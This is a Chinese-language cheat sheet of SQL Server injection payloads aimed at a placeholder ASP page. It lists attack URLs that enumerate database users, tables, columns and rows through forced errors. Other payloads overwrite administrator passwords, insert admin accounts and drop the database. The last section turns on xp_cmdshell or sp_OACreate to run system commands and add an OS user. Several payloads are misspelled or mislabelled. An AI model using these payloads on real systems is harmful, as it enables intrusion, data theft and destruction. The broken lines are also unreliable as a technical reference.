SQL server 注入笔记(备查)

目录

例如:注入点 http://www.XX.com/index.asp?id=1

爆当前表中的列

1.1、http://www.XX.com/index.asp?id=1 and user>0
// 获得当前数据库用户名,user是SQL server的内置变量,运气好可获取用户名,‘dbo’是sa权限 public是public权限,类似SESSION_USER,CURRENT_USER,SYSTEM_USER.
1.2、http://www.XX.com/index.asp?id=1 and (select @@version)>0
//获得当前数据库版本
1.3、http://www.XX.com/index.asp?id=1 and db_name>0
//获得当前数据库名
2、http://www.XX.com/index.asp?id=1 having 1=1–
//为了爆列名和表名
3、http://www.XX.com/index.asp?id=1 group by 已知列1、已知列2 having 1=1–
//为了爆出更多列名


爆任意表

1、http://www.XX.com/index.asp?id=1 and(select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85))T order by id desc)>1
//TOP 子句用于规定要返回的记录的数目。
//char(85)=U 表示用户表
//给查找出来的虚拟表命名为T
//ORDER BY 语句用于根据指定的列对结果集进行排序。默认升序 ,降序用 DESC 关键字。
//得到的是varchar型表名,跟1做比较会强制转换为int 会失败。就可以报错得到表名
// sysobjects是系统表关于SQL Server数据库的一切信息都保存在它的系统表格里
SQL server 注入笔记(备查)


爆任意表中任意列

1、http://www.XX.com/index.asp?id=1 and (select top 1 col_name(object_id(‘已知表名’),1) from sysojects)>1
// COL_NAME ( table_id , column_id )
table_id 包含数据库列的的标识号。table_id 属于 int 类型。
column_id 的标识号。column_id 参数属于 int 类型。
返回类型 sysname


爆出具体数据

1、http://www.XX.com/index.asp?id=1 and (select top 1 列名 from 表名 where id=N)>1
//猜解表中的列中的第N条数据


修改管理员密码

1、http://www.XX.com/index.asp?id=1;update 表名 set 列名=‘新内容’ where 名称=‘条件’

添加管理员

1、http://www.XX.com/index.asp?id=1;insert into 表名 values(姓名,密码)–


删除数据库

1、http://www.XX.com/index.asp?id=1;drop database 数据库名


判断是否支持多句查询、子查询

多句、http://www.XX.com/index.asp?id=1;declare @a int–
子查询、http://www.XX.com/index.asp?id=1and (select count(1) from [sysobjects])>=0


如果你有SA权限 得到shell

利用数据库扩展存储过程 exec master..xp_cmdshell 后面加上引号,引号内输入cmd命令就可执行

判断扩展存储过程判断是否存在: http://www.XX.com/index.asp?id=1 and SELECT count(*) FROM master.dbo.sysobjects WHERE stype=’x’ AND name=’xp_cmdshell’
恢复不存在的扩展存储过程: http://www.XX.com/index.asp?id=1;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程: http://www.XX.com/index.asp?id=1;exec sp_addextendedproc ‘xp_cmdshell’

//反应正常说明存在
1、http://www.XX.com/index.asp?id=1;exec master..xp_cmdshell ‘dir c:\’
//查看c盘目录和文件
2、http://www.XX.com/index.asp?id=1;exec master..xp_cmdshell ‘net user 用户名 密码/add’
//添加用户

关键函数访问OLE控件 函数sp_OACreate 、 sp_OAMethod

1、http://www.XX.com/index.asp?id=1;DECLARE @S INT EXEC SP_OACREAT ‘wscript.shell’,@s exec master..SPOAMETHOD @s,’run’,null,’cmd.exe/c dir c:\’